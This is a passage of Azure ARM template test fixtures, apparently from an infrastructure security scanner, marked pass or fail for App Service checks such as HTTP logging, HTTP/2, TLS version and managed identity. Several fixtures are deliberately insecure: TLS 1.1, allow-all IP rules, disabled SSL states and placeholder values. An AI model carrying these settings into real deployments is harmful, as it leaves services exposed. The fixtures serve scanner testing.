"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "siteName": "pike", "hostNameType": "Verified" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceHttpLoggingEnabled/AppServiceHttpLoggingEnabled-passed.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sites_pike_name": { "defaultValue": "pike", "type": "String" }, "serverfarms_example_serviceplan_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "[parameters('sites_pike_name')]", "location": "UK South", "kind": "app,linux", "identity": { "type": "SystemAssigned" }, "properties": { "enabled": true, "hostNameSslStates": [ { "name": "[concat(parameters('sites_pike_name'), '.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Standard" }, { "name": "[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Repository" } ], "serverFarmId": "[parameters('serverfarms_example_serviceplan_externalid')]", "reserved": true, "isXenon": false, "hyperV": false, "vnetRouteAllEnabled": false, "vnetImagePullEnabled": false, "vnetContentShareEnabled": false, "siteConfig": { "numberOfWorkers": 1, "acrUseManagedIdentityCreds": false, "alwaysOn": false, "http20Enabled": true, "functionAppScaleLimit": 0, "minimumElasticInstanceCount": 0 }, "scmSiteAlsoStopped": false, "clientAffinityEnabled": false, "clientCertEnabled": true, "clientCertMode": "Required", "hostNamesDisabled": false, "customDomainVerificationId": "B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5", "containerSize": 0, "dailyMemoryTimeQuota": 0, "httpsOnly": true, "redundancyMode": "None", "storageAccountRequired": false, "keyVaultReferenceIdentity": "SystemAssigned" } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/ftp')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/scm')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-09-01", "name": "passed", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "numberOfWorkers": 1, "defaultDocuments": [], "netFrameworkVersion": "v4.0", "requestTracingEnabled": true, "requestTracingExpirationTime": "9999-12-31T23:59:00Z", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "VS2019", "httpLoggingEnabled": true, "acrUseManagedIdentityCreds": false, "logsDirectorySizeLimit": 25, "detailedErrorLoggingEnabled": true, "publishingUsername": "$pike", "scmType": "None", "use32BitWorkerProcess": false, "webSocketsEnabled": false, "alwaysOn": false, "managedPipelineMode": "Integrated", "virtualApplications": [ { "virtualPath": "/", "physicalPath": "site\\wwwroot", "preloadEnabled": false } ], "loadBalancing": "LeastRequests", "experiments": { "rampUpRules": [] }, "autoHealEnabled": false, "vnetRouteAllEnabled": false, "vnetPrivatePortsCount": 0, "cors": { "supportCredentials": false }, "localMySqlEnabled": false, "managedServiceIdentityId": 484, "ipSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictionsUseMain": false, "http20Enabled": true, "minTlsVersion": "1.2", "scmMinTlsVersion": "1.2", "ftpsState": "FtpsOnly", "preWarmedInstanceCount": 0, "elasticWebAppScaleLimit": 0, "healthCheckPath": "/health", "functionsRuntimeScaleMonitoringEnabled": false, "minimumElasticInstanceCount": 0, "azureStorageAccounts": { "shady": { "type": "AzureFiles", "accountName": "piketest", "shareName": "pike", "mountPath": "/mount/shady" } } } }, { "type": "Microsoft.Web/sites/hostNameBindings", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "siteName": "pike", "hostNameType": "Verified" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceHttps20Enabled/appServiceHttps20Enabled-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "default", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceHttps20Enabled/appServiceHttps20Enabled-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "disabled", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]", "http20Enabled": false, "minTlsVersion": "1.1" }, "clientCertEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceHttps20Enabled/appServiceHttps20Enabled-FAILED3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "null", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": null } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceHttps20Enabled/appServiceHttps20Enabled-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "enabled", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]", "http20Enabled": "true", "minTlsVersion": "1.2" }, "clientCertEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceHttps20Enabled/appServiceHttps20Enabled-PASSED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2022-03-01", "name": "enabled_newer", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]", "http20Enabled": true, "minTlsVersion": "1.2" }, "clientCertEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceIdentity/appServiceIdentity-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceIdentity/appServiceIdentity-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceIdentity/appServiceIdentity-PASSED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]", "identityName": "[concat(variables('webAppPortalName'), '-identity')]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "UserAssigned", "userAssignedIdentities": { "[resourceID('Microsoft.ManagedIdentity/userAssignedIdentities/',variables('identityName'))]": {} } }, "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceIdentityProviderEnabled/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "fail", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]", "http20Enabled": "true", "minTlsVersion": "1.2" }, "clientCertEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceIdentityProviderEnabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))] " }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "pass", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]", "http20Enabled": "true", "minTlsVersion": "1.2" }, "clientCertEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceInstanceMinimum/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "fail", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "1.1", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": 1, "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceInstanceMinimum/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2022-09-01", "name": "fail2", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", 